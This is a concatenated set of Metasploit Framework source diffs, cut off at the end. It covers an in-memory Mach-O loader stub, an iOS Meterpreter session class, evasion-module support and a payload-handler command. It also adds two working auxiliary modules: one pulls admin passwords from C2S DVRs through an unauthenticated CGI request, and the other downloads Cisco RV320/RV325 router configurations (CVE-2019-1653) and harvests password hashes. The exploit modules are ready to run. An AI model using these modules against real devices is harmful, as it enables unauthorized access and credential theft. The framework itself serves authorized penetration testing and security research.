NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR;
|
||||
NSLinkModule_func -= DYLD_BASE_ADDR;
|
||||
NSLookupSymbolInModule_func -= DYLD_BASE_ADDR;
|
||||
NSAddressOfSymbol_func -= DYLD_BASE_ADDR;
|
||||
}
|
||||
|
||||
/*if (*(char*)buffer == 'b') {*/
|
||||
|
@ -106,15 +124,21 @@ int main(int argc, char** argv)
|
|||
print("good nm!\n");
|
||||
#endif
|
||||
|
||||
uint64_t execute_base = (uint64_t)nm;
|
||||
execute_base = find_macho(execute_base, sizeof(int), 1);
|
||||
|
||||
uint64_t entry_off = find_entry_offset((void*)execute_base);
|
||||
if (!entry_off) {
|
||||
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
|
||||
if (!sym_main) {
|
||||
return 1;
|
||||
}
|
||||
uint64_t entry = (execute_base + entry_off);
|
||||
int(*main_func)(int, char**) = (int(*)(int, char**))entry;
|
||||
|
||||
void * addr_main = NSAddressOfSymbol_func(sym_main);
|
||||
if (!addr_main) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
print("found main!\n");
|
||||
#endif
|
||||
|
||||
int(*main_func)(int, char**) = (int(*)(int, char**))addr_main;
|
||||
char* socket = (char*)(size_t)argc;
|
||||
char *new_argv[] = { "m", socket, NULL };
|
||||
int new_argc = 2;
|
||||
|
@ -187,13 +211,10 @@ uint64_t syscall_chmod(uint64_t path, long mode)
|
|||
return ret;
|
||||
}
|
||||
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
|
||||
uint64_t find_macho(uint64_t addr, unsigned int increment)
|
||||
{
|
||||
while(1) {
|
||||
uint64_t ptr = addr;
|
||||
if (pointer) {
|
||||
ptr = *(uint64_t *)ptr;
|
||||
}
|
||||
unsigned long ret = syscall_chmod(ptr, 0777);
|
||||
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
|
||||
return ptr;
|
||||
|
@ -204,22 +225,6 @@ uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
|
|||
return 0;
|
||||
}
|
||||
|
||||
uint64_t find_entry_offset(struct mach_header_64 *mh)
|
||||
{
|
||||
struct entry_point_command *entry;
|
||||
struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
|
||||
for (int i=0; i<mh->ncmds; i++) {
|
||||
if (lc->cmd == LC_MAIN) {
|
||||
entry = (struct entry_point_command *)lc;
|
||||
return entry->entryoff;
|
||||
}
|
||||
|
||||
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int string_compare(const char* s1, const char* s2)
|
||||
{
|
||||
while (*s1 != '\0' && *s1 == *s2)
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "5.0.5"
|
||||
VERSION = "5.0.6"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
||||
###
|
||||
#
|
||||
# This class creates a platform-specific meterpreter session type
|
||||
#
|
||||
###
|
||||
class Meterpreter_armle_Apple_iOS < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.base_platform = 'apple_ios'
|
||||
self.base_arch = ARCH_ARMLE
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
@ -20,6 +20,8 @@ class Msf::Modules::External::Shim
|
|||
single_host_login_scanner(mod)
|
||||
when 'multi_scanner'
|
||||
multi_scanner(mod)
|
||||
when 'evasion'
|
||||
evasion(mod)
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
@ -39,20 +41,36 @@ class Msf::Modules::External::Shim
|
|||
end
|
||||
|
||||
def self.mod_meta_common(mod, meta = {}, ignore_options: [])
|
||||
meta[:path] = mod.path.dump
|
||||
meta[:name] = mod.meta['name'].dump
|
||||
meta[:description] = mod.meta['description'].dump
|
||||
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
||||
meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license']
|
||||
meta[:path] = mod.path.dump
|
||||
meta[:name] = mod.meta['name'].dump
|
||||
meta[:description] = mod.meta['description'].dump
|
||||
meta[:authors] = mod.meta['authors'].map(&:dump).join(",\n ")
|
||||
meta[:license] = mod.meta['license'].nil? ? 'MSF_LICENSE' : mod.meta['license']
|
||||
meta[:options] = mod_meta_common_options(mod, ignore_options: ignore_options)
|
||||
meta[:advanced_options] = mod_meta_common_options(mod, ignore_options: ignore_options, advanced: true)
|
||||
meta[:capabilities] = mod.meta['capabilities']
|
||||
meta[:notes] = transform_notes(mod.meta['notes'])
|
||||
|
||||
if mod.meta['describe_payload_options'].nil?
|
||||
mod.meta['describe_payload_options'] = {}
|
||||
end
|
||||
meta[:default_options] = mod.meta['describe_payload_options'].map do |name, value|
|
||||
"#{name.dump} => #{value.inspect}"
|
||||
end.join(",\n ")
|
||||
|
||||
meta
|
||||
end
|
||||
|
||||
def self.mod_meta_common_options(mod, ignore_options: [], advanced: false)
|
||||
# Set modules without options to have an empty map
|
||||
if mod.meta['options'].nil?
|
||||
mod.meta['options'] = {}
|
||||
end
|
||||
|
||||
options = mod.meta['options'].reject {|n, _| ignore_options.include? n}
|
||||
options = mod.meta['options'].map do |n, o|
|
||||
next if ignore_options.include? n
|
||||
next unless o.fetch('advanced', false) == advanced
|
||||
|
||||
meta[:options] = options.map do |n, o|
|
||||
if o['values']
|
||||
"Opt#{o['type'].camelize}.new(#{n.dump},
|
||||
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}, #{o['values'].inspect}])"
|
||||
|
@ -60,11 +78,9 @@ class Msf::Modules::External::Shim
|
|||
"Opt#{o['type'].camelize}.new(#{n.dump},
|
||||
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
|
||||
end
|
||||
end.join(",\n ")
|
||||
|
||||
meta[:capabilities] = mod.meta['capabilities']
|
||||
meta[:notes] = transform_notes(mod.meta['notes'])
|
||||
meta
|
||||
end
|
||||
options.reject! { |o| o.nil? }
|
||||
options.join(",\n ")
|
||||
end
|
||||
|
||||
def self.mod_meta_exploit(mod, meta = {})
|
||||
|
@ -144,6 +160,27 @@ class Msf::Modules::External::Shim
|
|||
render_template('dos.erb', meta)
|
||||
end
|
||||
|
||||
def self.evasion(mod)
|
||||
meta = mod_meta_common(mod, ignore_options: ['payload_raw', 'payload_encoded', 'target'])
|
||||
meta[:platform] = mod.meta['targets'].map do |t|
|
||||
t['platform'].dump
|
||||
end.uniq.join(",\n ")
|
||||
meta[:arch] = mod.meta['targets'].map do |t|
|
||||
t['arch'].dump
|
||||
end.uniq.join(",\n ")
|
||||
meta[:references] = mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(",\n ")
|
||||
meta[:targets] = mod.meta['targets'].map do |t|
|
||||
if t['name']
|
||||
"[#{t['name'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
|
||||
else
|
||||
"[#{t['platform'].dump} + ' ' + #{t['arch'].dump}, {'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]"
|
||||
end
|
||||
end.join(",\n ")
|
||||
render_template('evasion.erb', meta)
|
||||
end
|
||||
|
||||
#
|
||||
# In case certain notes are not properly capitalized in the external module definition,
|
||||
# ensure that they are properly capitalized before rendering.
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
require 'msf/core/modules/external/bridge'
|
||||
require 'msf/core/module/external'
|
||||
|
||||
class MetasploitModule < Msf::Evasion
|
||||
include Msf::Module::External
|
||||
|
||||
def initialize
|
||||
super({
|
||||
<%= common_metadata meta %>
|
||||
'References' =>
|
||||
[
|
||||
<%= meta[:references] %>
|
||||
],
|
||||
'Platform' => [<%= meta[:platform] %>],
|
||||
'Arch' => [<%= meta[:arch] %>],
|
||||
'Targets' =>
|
||||
[
|
||||
<%= meta[:targets] %>
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
<%= meta[:default_options] %>
|
||||
}
|
||||
})
|
||||
|
||||
register_options([
|
||||
<%= meta[:options] %>
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
<%= meta[:advanced_options] %>
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
args = datastore.to_h.merge(
|
||||
# XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
|
||||
payload_encoded: Rex::Text.encode_base64(payload.encoded),
|
||||
payload_raw: Rex::Text.encode_base64(payload.raw),
|
||||
target: target.name
|
||||
)
|
||||
|
||||
execute_module(<%= meta[:path] %>, args: args)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,62 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'macho'
|
||||
|
||||
class Msf::Payload::MachO
|
||||
|
||||
def initialize(data)
|
||||
@macho = MachO::MachOFile.new_from_bin(data)
|
||||
end
|
||||
|
||||
def entrypoint
|
||||
main_func = @macho[:LC_MAIN].first
|
||||
main_func.entryoff
|
||||
end
|
||||
|
||||
#
|
||||
# Return the VM respresentation of a macho file
|
||||
#
|
||||
def flatten
|
||||
raw_data = @macho.serialize
|
||||
min = -1
|
||||
max = 0
|
||||
for segment in @macho.segments
|
||||
next if segment.segname == MachO::LoadCommands::SEGMENT_NAMES[:SEG_PAGEZERO]
|
||||
if min == -1 or min > segment.vmaddr
|
||||
min = segment.vmaddr
|
||||
end
|
||||
if max < segment.vmaddr + segment.vmsize
|
||||
max = segment.vmaddr + segment.vmsize
|
||||
end
|
||||
end
|
||||
|
||||
output_data = "\x00" * (max - min)
|
||||
for segment in @macho.segments
|
||||
for section in segment.sections
|
||||
flat_addr = section.addr - min
|
||||
section_data = raw_data[section.offset, section.size]
|
||||
if section_data
|
||||
output_data[flat_addr, section_data.size] = section_data
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
output_data
|
||||
end
|
||||
|
||||
def to_dylib(name)
|
||||
new_lc = MachO::LoadCommands::LoadCommand.create(:LC_ID_DYLIB, "@executable_path/#{name}.dylib", 0, 0, 0)
|
||||
@macho.add_command(new_lc)
|
||||
|
||||
raw_data = @macho.serialize
|
||||
raw_data[12] = MachO::Headers::MH_DYLIB.chr
|
||||
raw_data[36,7] = "__ZERO\x00"
|
||||
raw_data
|
||||
end
|
||||
|
||||
def raw
|
||||
@macho.serialize
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -166,6 +166,19 @@ module Msf::Post::File
|
|||
cmd_exec("test -w '#{path}' && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
# See if +path+ on the remote system exists and is readable
|
||||
#
|
||||
# @param path [String] Remote path to check
|
||||
#
|
||||
# @return [Boolean] true if +path+ exists and is readable
|
||||
#
|
||||
def readable?(path)
|
||||
raise "`readable?' method does not support Windows systems" if session.platform == 'windows'
|
||||
|
||||
cmd_exec("test -r '#{path}' && echo true").to_s.include? 'true'
|
||||
end
|
||||
|
||||
#
|
||||
# Check for existence of +path+ on the remote file system
|
||||
#
|
||||
|
@ -318,6 +331,8 @@ module Msf::Post::File
|
|||
return session.shell_command_token("type \"#{file_name}\"")
|
||||
end
|
||||
|
||||
return nil unless readable?(file_name)
|
||||
|
||||
if command_exists?('cat')
|
||||
return session.shell_command_token("cat \"#{file_name}\"")
|
||||
end
|
||||
|
|
|
@ -1642,8 +1642,12 @@ class Core
|
|||
res << 'PAYLOAD'
|
||||
res << 'NOP'
|
||||
res << 'TARGET'
|
||||
end
|
||||
if (mod.exploit? or mod.payload?)
|
||||
res << 'ENCODER'
|
||||
elsif (mod.evasion?)
|
||||
res << 'PAYLOAD'
|
||||
res << 'TARGET'
|
||||
res << 'ENCODER'
|
||||
elsif (mod.payload?)
|
||||
res << 'ENCODER'
|
||||
end
|
||||
|
||||
|
@ -1651,7 +1655,7 @@ class Core
|
|||
res << "ACTION"
|
||||
end
|
||||
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
if ((mod.exploit? or mod.evasion?) and mod.datastore['PAYLOAD'])
|
||||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p)
|
||||
p.options.sorted.each { |e|
|
||||
|
@ -2161,6 +2165,9 @@ class Core
|
|||
return option_values_targets() if opt.upcase == 'TARGET'
|
||||
return option_values_nops() if opt.upcase == 'NOPS'
|
||||
return option_values_encoders() if opt.upcase == 'STAGEENCODER'
|
||||
elsif (mod.evasion?)
|
||||
return option_values_payloads() if opt.upcase == 'PAYLOAD'
|
||||
return option_values_targets() if opt.upcase == 'TARGET'
|
||||
end
|
||||
|
||||
# Well-known option names specific to modules with actions
|
||||
|
@ -2168,8 +2175,8 @@ class Core
|
|||
return option_values_actions() if opt.upcase == 'ACTION'
|
||||
end
|
||||
|
||||
# The ENCODER option works for payloads and exploits
|
||||
if ((mod.exploit? or mod.payload?) and opt.upcase == 'ENCODER')
|
||||
# The ENCODER option works for evasions, payloads and exploits
|
||||
if ((mod.evasion? or mod.exploit? or mod.payload?) and opt.upcase == 'ENCODER')
|
||||
return option_values_encoders()
|
||||
end
|
||||
|
||||
|
@ -2184,7 +2191,7 @@ class Core
|
|||
end
|
||||
|
||||
# How about the selected payload?
|
||||
if (mod.exploit? and mod.datastore['PAYLOAD'])
|
||||
if ((mod.evasion? or mod.exploit?) and mod.datastore['PAYLOAD'])
|
||||
if p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
p.options.each_key do |key|
|
||||
res.concat(option_values_dispatch(p.options[key], str, words)) if key.downcase == opt.downcase
|
||||
|
|
|
@ -8,11 +8,12 @@ class Evasion
|
|||
|
||||
def commands
|
||||
super.update({
|
||||
'run' => 'Launches the evasion module',
|
||||
'rerun' => 'Reloads and launches the evasion module',
|
||||
'exploit' => 'This is an alias for the run command',
|
||||
'rexploit' => 'This is an alias for the rerun command',
|
||||
'reload' => 'Reloads the auxiliary module'
|
||||
'run' => 'Launches the evasion module',
|
||||
'rerun' => 'Reloads and launches the evasion module',
|
||||
'exploit' => 'This is an alias for the run command',
|
||||
'rexploit' => 'This is an alias for the rerun command',
|
||||
'reload' => 'Reloads the auxiliary module',
|
||||
'to_handler' => 'Creates a handler with the specified payload'
|
||||
}).merge(mod ? mod.evasion_commands : {})
|
||||
end
|
||||
|
||||
|
@ -65,6 +66,24 @@ class Evasion
|
|||
tab_complete_generic(fmt, str, words)
|
||||
end
|
||||
|
||||
def cmd_to_handler(*_args)
|
||||
handler = framework.modules.create('exploit/multi/handler')
|
||||
|
||||
handler_opts = {
|
||||
'Payload' => mod.datastore['PAYLOAD'],
|
||||
'LocalInput' => driver.input,
|
||||
'LocalOutput' => driver.output,
|
||||
'ExitOnSession' => false,
|
||||
'RunAsJob' => true
|
||||
}
|
||||
|
||||
handler.share_datastore(mod.datastore)
|
||||
handler.exploit_simple(handler_opts)
|
||||
job_id = handler.job_id
|
||||
|
||||
print_status "Payload Handler Started as Job #{job_id}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def self.choose_payload(mod)
|
||||
|
@ -116,4 +135,4 @@ end
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -73,11 +73,19 @@ class FileStat
|
|||
end
|
||||
|
||||
def update(buf)
|
||||
skeys = %W{st_dev st_mode st_nlink st_uid st_gid st_rdev st_ino st_size st_ctime st_atime st_mtime}
|
||||
svals = buf.unpack("VVVVVVQQQQQ")
|
||||
skeys.each_index do |i|
|
||||
self.stathash[ skeys[i] ] = svals[i]
|
||||
end
|
||||
end
|
||||
|
||||
# XXX: This needs to understand more than just 'stat' structures
|
||||
# Windows can also return _stat32, _stat32i64, _stat64i32, and _stat64 structures
|
||||
|
||||
skeys = %W{st_dev st_ino st_mode st_wtf st_nlink st_uid st_gid st_rdev st_size st_ctime st_atime st_mtime}
|
||||
#
|
||||
# This handles the old 32bit st_size buf from old stageless meterpreters for backwards compatibility
|
||||
# Maybe we can remove this in the future
|
||||
#
|
||||
def update32(buf)
|
||||
skeys = %W{st_dev st_ino st_mode st_pad st_nlink st_uid st_gid st_rdev st_size st_ctime st_atime st_mtime}
|
||||
svals = buf.unpack("VvvvvvvVVVVV")
|
||||
skeys.each_index do |i|
|
||||
self.stathash[ skeys[i] ] = svals[i]
|
||||
|
|
|
@ -73,7 +73,9 @@ class Dir < Rex::Post::Dir
|
|||
#
|
||||
def Dir.entries_with_info(name = getwd)
|
||||
request = Packet.create_request('stdapi_fs_ls')
|
||||
files = []
|
||||
files = []
|
||||
sbuf = nil
|
||||
new_stat_buf = true
|
||||
|
||||
request.add_tlv(TLV_TYPE_DIRECTORY_PATH, client.unicode_filter_decode(name))
|
||||
|
||||
|
@ -82,7 +84,13 @@ class Dir < Rex::Post::Dir
|
|||
fname = response.get_tlvs(TLV_TYPE_FILE_NAME)
|
||||
fsname = response.get_tlvs(TLV_TYPE_FILE_SHORT_NAME)
|
||||
fpath = response.get_tlvs(TLV_TYPE_FILE_PATH)
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
|
||||
|
||||
if response.has_tlv?(TLV_TYPE_STAT_BUF)
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
|
||||
else
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF32)
|
||||
new_stat_buf = false
|
||||
end
|
||||
|
||||
if (!fname or !sbuf)
|
||||
return []
|
||||
|
@ -93,7 +101,11 @@ class Dir < Rex::Post::Dir
|
|||
|
||||
if (sbuf[idx])
|
||||
st = ::Rex::Post::FileStat.new
|
||||
st.update(sbuf[idx].value)
|
||||
if new_stat_buf
|
||||
st.update(sbuf[idx].value)
|
||||
else
|
||||
st.update32(sbuf[idx].value)
|
||||
end
|
||||
end
|
||||
|
||||
files <<
|
||||
|
@ -115,13 +127,21 @@ class Dir < Rex::Post::Dir
|
|||
def Dir.match(name, dir = false)
|
||||
path = name + '*'
|
||||
files = []
|
||||
sbuf = nil
|
||||
new_stat_buf = true
|
||||
|
||||
request = Packet.create_request('stdapi_fs_ls')
|
||||
request.add_tlv(TLV_TYPE_DIRECTORY_PATH, client.unicode_filter_decode(path))
|
||||
response = client.send_request(request)
|
||||
|
||||
fpath = response.get_tlvs(TLV_TYPE_FILE_PATH)
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
|
||||
|
||||
if response.has_tlv?(TLV_TYPE_STAT_BUF)
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF)
|
||||
else
|
||||
sbuf = response.get_tlvs(TLV_TYPE_STAT_BUF32)
|
||||
new_stat_buf = false
|
||||
end
|
||||
|
||||
unless fpath && sbuf
|
||||
return []
|
||||
|
@ -130,7 +150,11 @@ class Dir < Rex::Post::Dir
|
|||
fpath.each_with_index do |file_name, idx|
|
||||
if dir && sbuf[idx]
|
||||
st = ::Rex::Post::FileStat.new
|
||||
st.update(sbuf[idx].value)
|
||||
if new_stat_buf
|
||||
st.update(sbuf[idx].value)
|
||||
else
|
||||
st.update32(sbuf[idx].value)
|
||||
end
|
||||
next if st.ftype != 'directory' # if file_name isn't directory
|
||||
end
|
||||
|
||||
|
|
|
@ -23,6 +23,20 @@ class FileStat < Rex::Post::FileStat
|
|||
end
|
||||
|
||||
@@struct_stat = [
|
||||
'st_dev', 4, # 0
|
||||
'st_mode', 4, # 4
|
||||
'st_nlink', 4, # 8
|
||||
'st_uid', 4, # 12
|
||||
'st_gid', 4, # 16
|
||||
'st_rdev', 4, # 20
|
||||
'st_ino', 8, # 24
|
||||
'st_size', 8, # 32
|
||||
'st_atime', 8, # 40
|
||||
'st_mtime', 8, # 48
|
||||
'st_ctime', 8, # 56
|
||||
]
|
||||
|
||||
@@struct_stat32 = [
|
||||
'st_dev', 4, # 0
|
||||
'st_ino', 2, # 4
|
||||
'st_mode', 2, # 6
|
||||
|
@ -59,6 +73,36 @@ class FileStat < Rex::Post::FileStat
|
|||
offset = 0
|
||||
index = 0
|
||||
|
||||
while (index < elem.length)
|
||||
size = elem[index + 1]
|
||||
format = 'V'
|
||||
case size
|
||||
when 2
|
||||
format = 'v'
|
||||
when 8
|
||||
format = 'Q'
|
||||
end
|
||||
|
||||
value = stat_buf[offset, size].unpack(format)[0]
|
||||
offset += size
|
||||
|
||||
hash[elem[index]] = value
|
||||
|
||||
index += 2
|
||||
end
|
||||
|
||||
return (self.stathash = hash)
|
||||
end
|
||||
|
||||
#
|
||||
# Swaps in a new old style stat hash.
|
||||
#
|
||||
def update32(stat_buf)
|
||||
elem = @@struct_stat32
|
||||
hash = {}
|
||||
offset = 0
|
||||
index = 0
|
||||
|
||||
while (index < elem.length)
|
||||
size = elem[index + 1]
|
||||
|
||||
|
@ -91,11 +135,16 @@ protected
|
|||
request.add_tlv(TLV_TYPE_FILE_PATH, self.class.client.unicode_filter_decode( file ))
|
||||
|
||||
response = self.class.client.send_request(request)
|
||||
stat_buf = response.get_tlv(TLV_TYPE_STAT_BUF).value
|
||||
stat_buf = response.get_tlv(TLV_TYPE_STAT_BUF)
|
||||
|
||||
unless stat_buf
|
||||
stat_buf = response.get_tlv(TLV_TYPE_STAT_BUF32)
|
||||
return update32(stat_buf.value)
|
||||
end
|
||||
|
||||
# Next, we go through the returned stat_buf and fix up the values
|
||||
# and insert them into a hash
|
||||
return update(stat_buf)
|
||||
return update(stat_buf.value)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -40,7 +40,8 @@ TLV_TYPE_MOUNT_SPACE_TOTAL = TLV_META_TYPE_QWORD | 1211
|
|||
TLV_TYPE_MOUNT_SPACE_FREE = TLV_META_TYPE_QWORD | 1212
|
||||
TLV_TYPE_MOUNT_UNCPATH = TLV_META_TYPE_STRING | 1213
|
||||
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||
TLV_TYPE_STAT_BUF32 = TLV_META_TYPE_COMPLEX | 1220
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1221
|
||||
|
||||
TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
||||
TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
||||
|
|
|
@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.58'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.61'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.4'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'C2S DVR Management Password Disclosure',
|
||||
'Description' => %q{
|
||||
C2S DVR allows an unauthenticated user to disclose the username
|
||||
& password by requesting the javascript page 'read.cgi?page=2'.
|
||||
This may also work on some cameras including IRDOME-II-C2S, IRBOX-II-C2S.
|
||||
},
|
||||
'References' => [['EDB', '40265']],
|
||||
'Author' =>
|
||||
[
|
||||
'Yakir Wizman', # discovery
|
||||
'h00die', # module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Aug 19 2016'
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [false, 'URL of the C2S DVR root', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(rhost)
|
||||
begin
|
||||
url = normalize_uri(datastore['TARGETURI'], 'cgi-bin', 'read.cgi')
|
||||
vprint_status("Attempting to load data from #{url}?page=2")
|
||||
res = send_request_cgi({
|
||||
'uri' => url,
|
||||
'vars_get' => {'page'=>'2'}
|
||||
})
|
||||
unless res
|
||||
print_error("#{peer} Unable to connect to #{url}")
|
||||
return
|
||||
end
|
||||
|
||||
unless res.body.include?('pw_enflag')
|
||||
print_error("Invalid response received for #{peer} for #{url}")
|
||||
return
|
||||
end
|
||||
|
||||
if res.body =~ /pw_adminpw = "(.+?)";/
|
||||
print_good("Found: admin:#{$1}")
|
||||
store_valid_credential(
|
||||
user: 'admin',
|
||||
private: $1,
|
||||
private_type: :password
|
||||
)
|
||||
end
|
||||
|
||||
if res.body =~ /pw_userpw = "(.+?)";/
|
||||
print_good("Found: user:#{$1}")
|
||||
store_valid_credential(
|
||||
user: 'user',
|
||||
private: $1,
|
||||
private_type: :password
|
||||
)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{peer} Unable to connect to site")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,124 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco RV320/RV326 Configuration Disclosure',
|
||||
'Description' => %q{
|
||||
A vulnerability in the web-based management interface of Cisco Small Business
|
||||
RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an unauthenticated,
|
||||
remote attacker to retrieve sensitive information. The vulnerability is due
|
||||
to improper access controls for URLs. An attacker could exploit this
|
||||
vulnerability by connecting to an affected device via HTTP or HTTPS and
|
||||
requesting specific URLs. A successful exploit could allow the attacker to
|
||||
download the router configuration or detailed diagnostic information. Cisco
|
||||
has released firmware updates that address this vulnerability.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'RedTeam Pentesting GmbH <release@redteam-pentesting.de>',
|
||||
'Aaron Soto <asoto@rapid7.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '46262'],
|
||||
['BID', '106732'],
|
||||
['CVE', '2019-1653'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2019/Jan/52'],
|
||||
['URL', 'https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvg42801'],
|
||||
['URL', 'http://www.cisco.com/en/US/products/csa/cisco-sa-20110330-acs.html']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 24 2019',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('TARGETURI', [true, 'Path to the device configuration file', '/cgi-bin/config.exp']),
|
||||
])
|
||||
end
|
||||
|
||||
def report_cred(user,hash)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'md5',
|
||||
username: user,
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def parse_config(config)
|
||||
# Report loot to database (and store on filesystem)
|
||||
stored_path = store_loot('cisco.rv.config', 'text/plain', rhost, config)
|
||||
print_good("Stored configuration (#{config.length} bytes) to #{stored_path}")
|
||||
|
||||
# Report host information to database
|
||||
mac = config.match(/^LANMAC=(.*)/)[1]
|
||||
mac = "%s:%s:%s:%s:%s:%s" % [mac[0..1], mac[2..3], mac[4..5],
|
||||
mac[6..7], mac[8..9], mac[10..11]]
|
||||
hostname = config.match(/^HOSTNAME=(.*)/)[1]
|
||||
model = config.match(/^MODEL=(.*)/)[1]
|
||||
report_host(host: rhost,
|
||||
mac: mac,
|
||||
name: hostname,
|
||||
os_name: "Cisco",
|
||||
os_flavor: model)
|
||||
|
||||
# Report password hashes to database
|
||||
user = config.match(/^user (.*)/)[1]
|
||||
hash = config.match(/^password (.*)/)[1]
|
||||
report_cred(user, hash)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
}, 60)
|
||||
rescue OpenSSL::SSL::SSLError
|
||||
fail_with(Failure::UnexpectedReply, "SSL handshake failed. Consider setting 'SSL' to 'false' and trying again.")
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
